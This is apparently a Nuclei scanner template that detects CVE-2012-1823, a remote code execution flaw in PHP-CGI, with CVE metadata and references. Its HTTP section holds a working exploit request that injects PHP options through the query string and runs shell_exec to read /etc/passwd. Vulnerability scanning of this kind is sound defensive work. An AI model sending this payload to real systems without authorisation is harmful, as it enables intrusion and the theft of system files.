id: CVE-2012-1823

info:
  name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823
    - https://bugs.php.net/bug.php?id=61910
    - http://www.php.net/ChangeLog-5.php#5.4.2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
    cve-id: CVE-2012-1823
  tags: cve2012,kev,vulhub,rce,php,cve
  metadata:
    max-request: 1

http:
  - raw:
      - |
        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <?php echo shell_exec("cat /etc/passwd"); ?>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/04/04